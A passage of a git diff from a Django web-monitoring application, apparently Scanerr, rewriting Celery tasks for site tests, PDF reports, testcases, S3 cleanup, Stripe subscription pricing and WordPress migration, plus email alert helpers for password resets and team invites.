kwargs.get('resources', []) + account_id = kwargs.get('account_id') + test_id = kwargs.get('test_id') + type = kwargs.get('type') + configs = kwargs.get('configs') + tags = kwargs.get('tags') + threshold = kwargs.get('threshold') + automation_id = kwargs.get('automation_id') + pre_scan = kwargs.get('pre_scan') + post_scan = kwargs.get('post_scan') + task_id = kwargs.get('task_id') + + # create test if none was passed + if test_id is None: + + # setting defaults + pages = [] + sites = [] + + # get account if account_id exists + if account_id: + account = Account.objects.get(id=account_id) + + # iterating through resources + # and adding to sites or pages + if len(resources) > 0: + for item in resources: + + # adding to pages + if item['type'] == 'page': + try: + pages.append( + Page.objects.get(id=item['id']) + ) + except Exception as e: + print(e) + + # adding to sites + if item['type'] == 'site': + try: + sites.append( + Site.objects.get(id=item['id']) + ) + except Exception as e: + print(e) + + # grabbing all sites because no + # resources were specified and scope is "account" + if len(resources) == 0 and scope == 'account': + sites = Site.objects.filter(account=account) + + # get all pages from existing sites + for site in sites: + pages += Page.objects.filter(site=site) + + # create a test for each page + for page in pages: + # check resource + if check_and_increment_resource(page.account, 'tests'): + + # updating latest_test info for page + page.info['latest_test']['id'] = 'placeholder' + page.info['latest_test']['time_created'] = str(timezone.now()) + page.info['latest_test']['time_completed'] = None + page.info['latest_test']['score'] = None + page.info['latest_test']['status'] = 'working' + page.save() + + # updating latest_test info for site + page.site.info['latest_test']['id'] = 'placeholder' + page.site.info['latest_test']['time_created'] = str(timezone.now()) + page.site.info['latest_test']['time_completed'] = None + page.site.info['latest_test']['score'] = None + page.site.info['latest_test']['status'] = 'working' + page.site.save() + + # create test + create_test.delay( + page_id=str(page.id), + type=type, + configs=configs, + tags=tags, + threshold=float(threshold), + pre_scan=pre_scan, + post_scan=post_scan, + automation_id=automation_id + ) + + # get test and run + if test_id: + test = Test.objects.get(id=test_id) + create_test.delay( + test_id=str(test_id), + page_id=str(test.page.id), + type=type, + configs=configs, + tags=tags, + threshold=float(threshold), + pre_scan=pre_scan, + post_scan=post_scan, + automation_id=str(automation_id) + ) + + # update schedule if task_id is not None + if task_id: + try: + last_run = timezone.now() + Schedule.objects.filter(periodic_task_id=task_id).update( + time_last_run=last_run + ) + except Exception as e: + print(e) + + logger.info('Created new Tests') + return None + + + + +@shared_task +def create_report(page_id: str=None, automation_id: str=None) -> None: + """ + Generates a new PDF `Report` of the requested `Page` + and runs the associated `Automation` if requested + + Expcets: { + page_id : str, + automation_id : str + } + + Returns -> None + """ + + # get page + page = Page.objects.get(id=page_id) + + # check if report exists + if Report.objects.filter(page=page).exists(): + report = Report.objects.filter(page=page).order_by('-time_created')[0] + + # create new report obj + else: + info = { + "text_color": '#24262d', + "background_color": '#e1effd', + "highlight_color": '#ffffff', + } + report = Report.objects.create( + user=page.user, + site=page.site, + account=page.account, + page=page, + info=info, + type=['lighthouse', 'yellowlab'] + ) + + # generate report PDF + R(report=report).generate_report() + if automation_id: + Automater(automation_id, str(report.id)).run_automation() + + logger.info('Created new report of page') + return None @shared_task -def create_test_bg( - test_id=None, - site_id=None, - automation_id=None, - configs=None, - type=['full'], - index=None, - pre_scan=None, - post_scan=None, - tags=None, - *args, - **kwargs, - ): - create_test_task( - test_id, - site_id, - automation_id, - configs, - type, - index, - pre_scan, - post_scan, - tags +def create_report_bg(*args, **kwargs) -> None: + """ + Creates new `Reports` for the requested `Pages` + + Expects: { + 'scope' : str, + 'resources' : str + 'account_id' : str + 'automation_id' : str + 'task_id' : str + } + + Returns -> None + """ + + # get data + scope = kwargs.get('scope') + resources = kwargs.get('resources', []) + account_id = kwargs.get('account_id') + automation_id = kwargs.get('automation_id') + task_id = kwargs.get('task_id') + + # setting defaults + pages = [] + sites = [] + + # get account if account_id exists + if account_id: + account = Account.objects.get(id=account_id) + + # iterating through resources + # and adding to sites or pages + if len(resources) > 0: + for item in resources: + + # adding to pages + if item['type'] == 'page': + try: + pages.append( + Page.objects.get(id=item['id']) + ) + except Exception as e: + print(e) + + # adding to sites + if item['type'] == 'site': + try: + sites.append( + Site.objects.get(id=item['id']) + ) + except Exception as e: + print(e) + + # grabbing all sites because no + # resources were specified and scope is "account" + if len(resources) == 0 and scope == 'account': + sites = Site.objects.filter(account=account) + + # get all pages from existing sites + for site in sites: + pages += Page.objects.filter(site=site) + + # create reports for each page + for page in pages: + create_report.delay( + page_id=page.id, + automation_id=automation_id + ) + + # update schedule if task_id is not None + if task_id: + try: + last_run = timezone.now() + Schedule.objects.filter(periodic_task_id=task_id).update( + time_last_run=last_run + ) + except Exception as e: + print(e) + + logger.info('Created new Reports') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def create_auto_cases_bg( + self, + site_id: str=None, + process_id: str=None, + start_url: str=None, + max_cases: int=4, + max_layers: int=5, + configs: dict=settings.CONFIGS + ) -> None: + """ + Generates new `Cases` for the passed site. + + Expects: { + site_id : str, + process_id : str, + start_url : str, + max_cases : int, + max_layers : int, + configs : dict + } + + Returns -> None + """ + + # get objects + site = Site.objects.get(id=site_id) + process = Process.objects.get(id=process_id) + + # init AutoCaser + AC = AutoCaser( + site=site, + process=process, + start_url=start_url, + configs=configs, + max_cases=max_cases, + max_layers=max_layers, + ) + + # build cases + AC.build_cases() + + logger.info('Built new auto Cases') + return None + + + + +@shared_task(bind=True, base=BaseTaskWithRetry) +def case_pre_run_bg( + self, + case_id: str=None, + process_id: str=None, + ) -> None: + """ + Runs + + Expects: { + case_id : str, + process_id : str, + } + + Returns -> None + """ + + # get objects + case = Case.objects.get(id=case_id) + process = Process.objects.get(id=process_id) + + # init Caser + C = Caser( + case=case, + process=process, ) - logger.info('Created new test of site') + + # build cases + C.pre_run() + + logger.info('Completed Case pre_run') + return None + + + @shared_task -def create_report_bg(site_id=None, automation_id=None, *args, **kwargs): - create_report_task(site_id, automation_id) - logger.info('Created new report of site') +def run_testcase( + testcase_id: str=None, + automation_id: str=None, + ) -> None: + """ + Runs a Testcase. + + Expects: { + testcase_id : str, + automation_id : str, + } + + Returns -> None + """ + + # get testcase + testcase = Testcase.objects.get(id=testcase_id) + + # running testcase + testresult = Caser(testcase=testcase).run() + + # run automation if requested + if automation_id: + Automater(automation_id, str(testcase.id)).run_automation() + + logger.info('Ran Testcase') + return None + + @shared_task -def delete_site_s3_bg(site_id, *args, **kwargs): - delete_site_s3(site_id) +def create_testcase_bg(*args, **kwargs) -> None: + """ + Creates and or runs a Testcase. + + Expects: { + testcase_id : str, + resources : list, + scope : str, + account_id : str, + case_id : str, + updates : list, + automation_id : str, + configs : dict, + task_id : str + } + + Returns -> None + """ + + # get data + testcase_id = kwargs.get('testcase_id') + case_id = kwargs.get('case_id') + account_id = kwargs.get('account_id') + resources = kwargs.get('resources', []) + scope = kwargs.get('scope') + updates = kwargs.get('updates') + automation_id = kwargs.get('automation_id') + task_id = kwargs.get('task_id') + configs = kwargs.get('configs', settings.CONFIGS) + + # settign defaults + case = None + steps = None + testcases = [] + sites = [] + + # get case + if case_id: + case = Case.objects.get(id=case_id) + + # update steps + if case: + steps = requests.get(case.steps['url']).json() + for step in steps: + if step['action']['type'] != None: + step['action']['time_created'] = None + step['action']['time_completed'] = None + step['action']['exception'] = None + step['action']['status'] = None + + if step['assertion']['type'] != None: + step['assertion']['time_created'] = None + step['assertion']['time_completed'] = None + step['assertion']['exception'] = None + step['assertion']['status'] = None + + # adding updates + if steps: + for update in updates: + steps[int(update['index'])]['action']['value'] = update['value'] + + # getting testcase + if testcase_id: + testcases = [Testcase.objects.get(id=testcase_id),] + + # creating testcase from case + if testcase_id is None: + + # getting all sites in resources + for item in resources: + if item['type'] == 'site': + try: + sites.append( + Site.objects.get(id=item['id']) + ) + except Exception as e: + print(e) + + # add all sites in account if scope == 'account' + if scope == 'account' and len(resources) == 0: + sites = Site.objects.filter(account__id=account_id) + + # iterate through sites + for site in sites: + + # check and increment resource + if check_and_increment_resource(site.account, 'testcases'): + + # create new testcase + _testcase = Testcase.objects.create( + case = case, + case_name = case.name, + site = site, + user = site.user, + account = site.account, + configs = configs, + steps = steps + ) + + # add to list + testcases.append( + _testcase + ) + + # iterate through testcases and run + for testcase in testcases: + run_testcase.delay( + testcase_id=str(testcase.id), + automation_id=automation_id + ) + + # update schedule if task_id is not None + if task_id: + try: + last_run = timezone.now() + Schedule.objects.filter(periodic_task_id=task_id).update( + time_last_run=last_run + ) + except Exception as e: + print(e) + + logger.info('Created Testcases') + return None + + + + +@shared_task +def delete_site_s3_bg(site_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed site + + Expects: { + 'site_id': str + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() + except: + pass + logger.info('Deleted site s3 objects') + return None + + + + +@shared_task +def delete_page_s3_bg(page_id: str, site_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed page + + Expects: { + 'site_id': str, + 'page_id': str + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete() + except: + pass + + logger.info('Deleted page s3 objects') + return None + + @shared_task -def delete_testcase_s3_bg(testcase_id, *args, **kwargs): - delete_testcase_s3(testcase_id) +def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed scan + + Expects: { + 'scan_id': str, + 'site_id': str, + 'page_id': str + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete() + except: + pass + + logger.info('Deleted scan s3 objects') + return None + + + + +@shared_task +def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed test + + Expects: { + 'test_id': str, + 'site_id': str, + 'page_id': str + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete() + except: + pass + + logger.info('Deleted test s3 objects') + return None + + + + +@shared_task +def delete_testcase_s3_bg(testcase_id: str) -> None: + """ + Deletes the directory in s3 bucked associated + with passed test + + Expects: { + 'testcase_id': str, + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete() + except: + pass + logger.info('Deleted testcase s3 objects') + return None + + @shared_task -def delete_report_s3_bg(report_id, *args, **kwargs): - delete_report_s3(report_id) +def delete_report_s3_bg(report_id: str) -> None: + """ + Deletes the file in s3 bucked associated + with passed report + + Expects: { + 'report_id': str, + } + + Returns -> None + """ + + # get site + site = Report.objects.get(id=report_id).site + + # deleting s3 objects + try: + bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete() + except: + pass + logger.info('Deleted Report pdf in s3') + return None + + + + +@shared_task +def delete_case_s3_bg(case_id: str) -> None: + """ + Deletes the file in s3 bucked associated + with passed case_id + + Expects: { + 'case_id': str, + } + + Returns -> None + """ + + # deleting s3 objects + try: + bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete() + except: + pass + + logger.info('Deleted Case step data in s3') + return None + + @shared_task -def purge_logs(username=None, *args, **kwargs): +def purge_logs(username: str=None) -> None: + """ + Deletes all `Logs` associated with the passed "username". + If "username" is None, deletes all `Logs`. + + Expects: { + 'username': str + } + + Returns -> None + """ + + # delete logs if username: user = User.objects.get(username=username) Log.objects.filter(user=user).delete() @@ -145,60 +1629,526 @@ def purge_logs(username=None, *args, **kwargs): Log.objects.all().delete() logger.info('Purged logs') + return None + + + + +@shared_task +def reset_account_usage(account_id: str=None) -> None: + """ + Loops through each active `Account`, checks to see + if timezone.today() is the start of the + next billing cycle, and resets `Account.usage` + + Expcets: { + 'account_id': (OPTIONAL) + } + + Returns: None + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # check for account_id + if account_id is not None: + accounts = [Account.objects.get(id=account_id)] + else: + # get all active accounts + accounts = Account.objects.filter(active=True) + + # get current date + today = datetime.today() + today_str = today.strftime('%Y-%m-%d') + print(f'today -> {today_str}') + + # setting format for today + f = '%Y-%m-%d %H:%M:%S.%f' + + # reset account.ussage + def reset_usage(account): + account.usage['scans'] = 0 + account.usage['tests'] = 0 + account.usage['testcases'] = 0 + account.save() + + # loop through each + for account in accounts: + + # check if account is active and not free + if account.active and account.type != 'free' and account.sub_id != None: + + # get stripe sub + sub = stripe.Subscription.retrieve( + account.sub_id + ) + + # get and formate sub.current_period_end + sub_date = datetime.fromtimestamp( + sub.current_period_end + ).strftime('%Y-%m-%d') + print(f'sub_date -> {sub_date}') + + # reset accout usage if today is + # begining of sub payment peroid + # OR if a specific account was requested + if today == sub_date or account_id is not None: + reset_usage(account) + + # check if accout is free + if account.type == 'free': + + # get last usage reset date from meta + last_usage_date_str = account.meta.get('last_usage_reset') if account.meta else None + if last_usage_date_str is not None: + + # clean date_str + last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '') + + # format date str as datetime obj + last_usage_date = datetime.strptime(last_usage_date_str, f) + + print(f'days since last reset -> {abs((today - last_usage_date).days)}') + + # check if over 30 days + if abs((today - last_usage_date).days) >= 30: + reset_usage(account) + + # udpate account.meta.last_usage_reset + account.meta = {'last_usage_reset': today.strftime(f)} + account.save() + + return None + + @shared_task -def create_testcase_bg( - testcase_id=None, - site_id=None, - case_id=None, - updates=None, - automation_id=None, - configs=None, - type=None, - *args, - **kwargs, - ): - create_testcase_task(testcase_id, site_id, case_id, updates, configs, automation_id) - logger.info('Ran full testcase') +def update_sub_price(account_id: str=None, max_sites: int=None) -> None: + """ + Update price for existing stripe Subscription + based on new `Account.max_sites` + + Expects: { + 'account_id' : (REQUIRED) + 'max_sites' : (OPTIONAL) + } + + Returns: None + """ + + # init Stripe client + stripe.api_key = settings.STRIPE_PRIVATE + + # get account + account = Account.objects.get(id=account_id) + + # set new max_sites + if max_sites is not None: + account.max_sites = max_sites + account.save() + + # get max_sites + if max_sites is None: + max_sites = account.max_sites + + # get account coupon + discount = 0 + if account.meta.get('coupon'): + discount = account.meta['coupon']['discount'] + + # calculate + if max_sites <= 5: + price = 8900 + elif max_sites > 5 and max_sites <= 10: + price = 17900 + elif max_sites > 10 and max_sites <= 25: + price = 34900 + elif max_sites > 25: + price = ( + ( + (-0.0003 * (max_sites ** 2)) + + (1.5142 * max_sites) + 325.2 + ) * 100 + ) + + # apply discount + price = price - (price * discount) + + # update for interval + price_amount = round(price if account.interval == 'month' else (price * 10)) + + # create new Stripe Price + price = stripe.Price.create( + product=account.product_id, + unit_amount=price_amount, + currency='usd', + recurring={'interval': account.interval,}, + ) + + # update Stripe Subscription + sub = stripe.Subscription.retrieve(account.sub_id) + stripe.Subscription.modify( + account.sub_id, + cancel_at_period_end=False, + pause_collection='', + proration_behavior='create_prorations', + items=[{ + 'id': sub['items']['data'][0].id, + 'price': price.id, + }], + expand=['latest_invoice.payment_intent'], + ) + + # updating price defaults and archiving old price + stripe.Product.modify(account.product_id, default_price=price,) + stripe.Price.modify(account.price_id, active=False) + + # update account with new info + account.price_id = price.id + account.price_amount = 0 + account.price_amount = price_amount + account.usage['scans_allowed'] = (max_sites * 200) + account.usage['tests_allowed'] = (max_sites * 200) + account.usage['testcases_allowed'] = (max_sites * 100) + account.save() + + print(f'new price -> {price_amount}') + + # return + return None + + + + +@shared_task +def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None: + """ + Deletes all `Tests`, `Scans`, `Testcases`, + `Logs`, and `Processes` that have reached expiry + + Expects: { + account_id : str, + days_to_live : int + } + + Returns -> None + """ + + # calculate max dates + max_date = datetime.now() - timedelta(days=days_to_live) + max_proc_date = datetime.now() - timedelta(days=1) + + # scope resources to account if requested + if account_id is not None: + tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date) + scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date) + testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date) + processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date) + + # get all old Logs + members = Member.objects.filter(account__id=account_id) + logs = [] + for member in members: + logs += Log.objects.filter(user=member.user, time_created__lte=max_proc_date) + + # get all resoruces if no account_id + else: + tests = Test.objects.filter(time_created__lte=max_date) + scans = Scan.objects.filter(time_created__lte=max_date) + testcases = Testcase.objects.filter(time_created__lte=max_date) + processes = Process.objects.filter(time_created__lte=max_proc_date) + logs = Log.objects.filter(time_created__lte=max_proc_date) + + # delete each resource in each type + for test in tests: + delete_test_s3_bg.delay(test.id, test.site.id, test.page.id) + test.delete() + for scan in scans: + delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id) + scan.delete() + for testcase in testcases: + delete_testcase_s3_bg.delay(testcase.id) + testcase.delete() + for process in processes: + process.delete() + for log in logs: + log.delete() + + logger.info('Cleaned up resources') + return None + + + + +@shared_task +def data_retention() -> None: + """ + Helper task for looping through each account and deleting old resources using + delete_old_resources() + + Returns -> None + """ + + # get all accounts + accounts = Account.objects.all() + + # loop through each account + for account in accounts: + + # delete old resources + delete_old_resources.delay( + account_id=account.id, + days_to_live=account.retention_days + ) + + logger.info('Requested resource cleanup') + return None + + + + +@shared_task +def delete_admin_sites(days_to_live: int=1) -> None: + """ + Delete all admin sites which are older + than 'days_to_live' + + Expects: { + 'days_to_live': int + } + + Returns -> None + """ + + # calculate max date + max_date = datetime.now() - timedelta(days=days_to_live) + + # filter sites by max_date and admin + sites = Site.objects.filter(time_created__lte=max_date, user__username='admin') + + # delete each site + for site in sites: + delete_site_s3_bg.delay(site.id) + site.delete() + + logger.info('Cleaned up admin sites') + return None + + + + +@shared_task +def create_prospect(user_email: str=None) -> None: + """ + Sends an API request to Scanerr Landing which + creates a new `Prospect` + + Expects: { + 'user_email': str + } + + Returns -> None + """ + + # get user by id + user = User.objects.get(email=user_email) + + # get account by user + account = Account.objects.get(user=user) + + # setup configs + url = f'{settings.LANDING_API_ROOT}/ops/prospect' + headers = { + "content-type": "application/json", + "Authorization" : f'Token {settings.LANDING_API_KEY}' + } + data = { + 'first_name': str(user.first_name), + 'last_name': str(user.last_name), + 'email': str(user.email), + 'phone': str(account.phone), + 'status': 'warm', + 'source': 'app', + } + + try: + # send the request + res = requests.post( + url=url, + headers=headers, + data=json.dumps(data) + ).json() + + success = True + message = res + + except Exception as e: + success = False + message = e + + # format response + data = { + 'success': success, + 'message': message + } + + logger.info(f'Sent Prospect creation request -> {data}') + return None + + + + +@shared_task +def create_report_export_bg(report_id: str=None, email: str=None, first_name: str=None) -> None: + """ + Creates and exports a Scanerr landing report + + Expects: { + report_id : str, + email : str, + first_name : str + } + + Returns -> None + """ + + # create and export + data = create_and_send_report_export( + report_id=report_id, + email=email, + first_name=first_name + ) + + logger.info(f'Created and sent report export -> {data}') + return None + + + + +@shared_task +def send_invite_link_bg(member_id: str) -> None: + """ + Sends an invite link to the requested member + + Expects: { + 'member_id': str + } + + Returns -> None + """ + + # get member + member = Member.objects.get(id=member_id) + + # send invite + send_invite_link(member) + + logger.info('Sent invite') + return None + + + + +@shared_task +def send_remove_alert_bg(member_id: str) -> None: + """ + Sends a 'removed' email to the requested member + + Expects: { + 'member_id': str + } + + Returns -> None + """ + + # get member + member = Member.objects.get(id=member_id) + + # send email + send_remove_alert(member) + + logger.info('Sent remove alert') + return None @shared_task def migrate_site_bg( - login_url, - admin_url, - username, - password, - email_address, - destination_url, - sftp_address, - dbname, - sftp_username, - sftp_password, - plugin_name, - wait_time, - process_id, - driver, - *args, - **kwargs - ): - migrate_site_task( - login_url, - admin_url, - username, - password, - email_address, - destination_url, - sftp_address, - dbname, - sftp_username, - sftp_password, - plugin_name, - wait_time, - process_id, - driver, + login_url: str, + admin_url: str, + username: str, + password: str, + email_address: str, + destination_url: str, + sftp_address: str, + dbname: str, + sftp_username: str, + sftp_password: str, + plugin_name: str, + wait_time: int, + process_id: str, + driver: str, + ) -> None: + """ + Runs the WP site migration process. + + Expects: { + login_url: str, + admin_url: str, + username: str, + password: str, + email_address: str, + destination_url: str, + sftp_address: str, + dbname: str, + sftp_username: str, + sftp_password: str, + plugin_name: str, + wait_time: int, + process_id: str, + driver: str, + } + + Returns -> None + """ + + # init wordpress for selenium + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + email_address=email_address, + destination_url=destination_url, + sftp_address=sftp_address, + dbname=dbname, + sftp_username=sftp_username, + sftp_password=sftp_password, + wait_time=wait_time, + process_id=process_id, + ) - logger.info('Finished Migration') \ No newline at end of file + # login + wp_status = wp.login() + # adjust lang + wp_status = wp.begin_lang_check() + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) + # launch migration + wp_status = wp.launch_migration() + # run migration + wp_status = wp.run_migration() + # re adjust lang + # wp_status = wp.end_lang_check() + + + logger.info('Finished Migration') + return None + + + + diff --git a/app/api/tests.py b/app/api/tests.py deleted file mode 100644 index 7ce503c2..00000000 --- a/app/api/tests.py +++ /dev/null @@ -1,3 +0,0 @@ -from django.test import TestCase - -# Create your tests here. diff --git a/app/api/urls.py b/app/api/urls.py index 9df63e49..39d9edea 100644 --- a/app/api/urls.py +++ b/app/api/urls.py @@ -1,11 +1,13 @@ from .v1 import urls as v1_urls from django.urls import path, include +from django.views.generic.base import RedirectView urlpatterns = [ path('v1/', include(v1_urls)), + path('', RedirectView.as_view(url='v1/auth/', permanent=False)) ] diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index fb4f68df..6cfc5b87 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -1,11 +1,6 @@ -from django.core.mail import send_mail, send_mass_mail -from django.contrib.auth.models import User -from django.template.loader import render_to_string from datetime import date -import os, operator, json, requests, uuid -from django.utils.html import strip_tags from django.contrib.auth.models import User -from rest_framework.response import Response +from rest_framework_simplejwt.tokens import RefreshToken from ..models import * from twilio.rest import Client from slack_sdk.web import WebClient @@ -13,138 +8,420 @@ from sendgrid import SendGridAPIClient from sendgrid.helpers.mail import Mail, From, To from scanerr import settings +import os, json, requests, uuid + + + +def send_reset_link(email: str=None) -> dict: + """ + Sends a reset password email to the User with + the passed 'email' + + Expects: { + 'email': str + } + + Returns -> data: { + 'success': bool + } + """ + # check if User exists + if User.objects.filter(email=email).exists(): -def create_exp_str(item, automation, is_email=False): + # build email data + user = User.objects.get(email=email) + token = RefreshToken.for_user(user) + access_token = str(token.access_token) + reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token) + subject = 'Rest Password' + title = 'Reset Password' + pre_header = 'Reset Password' + pre_content = 'Click the link below to reset your password.' + greeting = f'Hi there,' + context = { + 'greeting': greeting, + 'title' : title, + 'subject' : subject, + 'email': email, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : reset_link, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'Rest my password', + 'content' : '', + 'signature' : '- Cheers!', + } + + # send email + sendgrid_email(message_obj=context) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def send_invite_link(member: object=None) -> dict: + """ + Sends an invite email to the passed `Member` + + Expects: { + 'member': obj + } + + Returns -> data: { + 'success': bool + } + """ + + # check if member exists as status "pending" + if Member.objects.filter(email=member.email, status="pending").exists(): + + # build email data + link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}' + subject = 'Scanerr Invite' + title = 'Scanerr Invite' + pre_header = 'Scanerr Invite' + pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!' + greeting = 'Hi there,' + + context = { + 'greeting': greeting, + 'title' : title, + 'subject' : subject, + 'email': member.email, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : link, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'Accept Invite', + 'content' : '', + 'signature' : '- Cheers!', + } + + # send email + sendgrid_email(message_obj=context) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def send_remove_alert(member: object=None) -> dict: + """ + Sends a "removed" email to the passed `Member` and + deletes member from DB + + Expects: { + 'member': obj + } + + Returns -> data: { + 'success': bool + } + """ + + # check if member exists as status "removed" + if Member.objects.filter(email=member.email, status="removed").exists(): + + # build email data + subject = 'Removed From Account' + title = 'Removed From Account' + pre_header = 'Removed From Account' + pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.' + greeting = 'Hi there,' + + context = { + 'greeting' : greeting, + 'title' : title, + 'subject' : subject, + 'email': member.email, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : None, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'content' : '', + 'signature' : '- Cheers!', + } + + # send email + sendgrid_email(message_obj=context) + + # delete member obj + member.delete() + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def create_exp(item: object=None, automation: object=None) -> dict: + """ + Builds an expression list (exp_list = []) based + on the passed 'item' and `Automation`. + + Expects: { + 'item' : object (Scan, Test, Testcase), + 'automation' : object + } + + Returns -> data: { + 'exp_list': list, + 'exp_str' : str, + } + """ + + # seting defaults exp_list = [] + exp_str = '' + # loop through automation expressions for e in automation.expressions: + + # top-level scores and data if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' + title = 'Test Score' + data = str(round(item.score, 2)) + elif 'test_status' in e['data_type']: + status = '❌ FAILED' + if item.status == 'passed': + status = '✅ PASSED' + title = 'Test Status' + data = status + elif 'testcase_status' in e['data_type']: + status = '❌ FAILED' + if e['value'] == 'passed': + status = '✅ PASSED' + title = f'"{item.case.name}"' + data = status elif 'current_health' in e['data_type']: - data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t' + title = 'Health' + data = str( + (float(item.lighthouse_delta["scores"]["current_average"]) + + float(item.yellowlab_delta["scores"]["current_average"])) /2 + ) elif 'health' in e['data_type']: - data_type = 'Health:\t'+str((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2))+'\n\t' + title = 'Health' + data = str( + (float(item.lighthouse["scores"]["average"]) + + float(item.yellowlab["scores"]["globalScore"])) /2 + ) + # LH test data elif 'current_lighthouse_average' in e['data_type']: - data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' + title = 'Lighthouse Average' + data = str(item.lighthouse_delta["scores"]["current_average"]) elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t' + title = 'SEO Delta' + data = str(item.lighthouse_delta["scores"]["seo_delta"]) elif 'pwa_delta' in e['data_type']: - data_type = 'PWA Delta:\t'+str(item.lighthouse_delta["scores"]["pwa_delta"])+'\n\t' + title = 'PWA Delta' + data = str(item.lighthouse_delta["scores"]["pwa_delta"]) elif 'crux_delta' in e['data_type']: - data_type = 'CRUX Delta:\t'+str(item.lighthouse_delta["scores"]["crux_delta"])+'\n\t' + title = 'CRUX Delta' + data = str(item.lighthouse_delta["scores"]["crux_delta"]) elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practices Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t' + title = 'Best Practices Delta' + data = str(item.lighthouse_delta["scores"]["best_practices_delta"]) elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t' + title = 'Performance Delta' + data = str(item.lighthouse_delta["scores"]["performance_delta"]) elif 'accessibility_delta' in e['data_type']: - data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t' + title = 'Accessibility Delta' + data = str(item.lighthouse_delta["scores"]["accessibility_delta"]) + # LH scan data elif 'lighthouse_average' in e['data_type']: - data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' + title = 'Lighthouse Average' + data = str(item.lighthouse["scores"]["average"]) elif 'seo' in e['data_type']: - data_type = 'SEO:\t'+str(item.lighthouse["scores"]["seo"])+'\n\t' + title = 'SEO' + data = str(item.lighthouse["scores"]["seo"]) elif 'pwa' in e['data_type']: - data_type = 'PWA:\t'+str(item.lighthouse["scores"]["pwa"])+'\n\t' + title = 'PWA' + data = str(item.lighthouse["scores"]["pwa"]) elif 'crux' in e['data_type']: - data_type = 'CRUX:\t'+str(item.lighthouse["scores"]["crux"])+'\n\t' + title = 'CRUX' + data = str(item.lighthouse["scores"]["crux"]) elif 'best_practices' in e['data_type']: - data_type = 'Best Practices:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t' + title = 'Best Practices' + data = str(item.lighthouse["scores"]["best_practices"]) elif 'performance' in e['data_type']: - data_type = 'Performance:\t'+str(item.lighthouse["scores"]["performance"])+'\n\t' + title = 'Performance' + data = str(item.lighthouse["scores"]["performance"]) elif 'accessibility' in e['data_type']: - data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t' - + title = 'Accessibility' + data = str(item.lighthouse["scores"]["accessibility"]) - # yellowlab test 